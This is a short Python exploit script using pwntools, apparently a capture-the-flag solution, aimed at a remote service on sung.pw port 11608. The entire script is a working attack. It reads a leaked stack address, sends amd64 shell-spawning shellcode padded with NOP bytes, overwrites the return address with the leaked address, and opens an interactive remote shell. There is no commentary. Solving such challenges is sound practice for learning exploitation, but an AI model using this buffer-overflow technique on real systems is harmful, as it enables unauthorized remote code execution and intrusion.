from pwn import *

context.log_level = 'debug'

r = remote("sung.pw", 11608)

context(arch='amd64', os='linux')
shell = asm(shellcraft.amd64.linux.sh())

size = 0x100 + 16

r.recvuntil(': ')
addr = int(r.recvline(), 16)
r.recvuntil(': ')
r.sendline(str(size))

payload = shell
payload += '\x90' * (0x100 + 8 - len(shell))
payload += p64(addr)

r.recvuntil(': ')
r.sendline(payload)

r.interactive()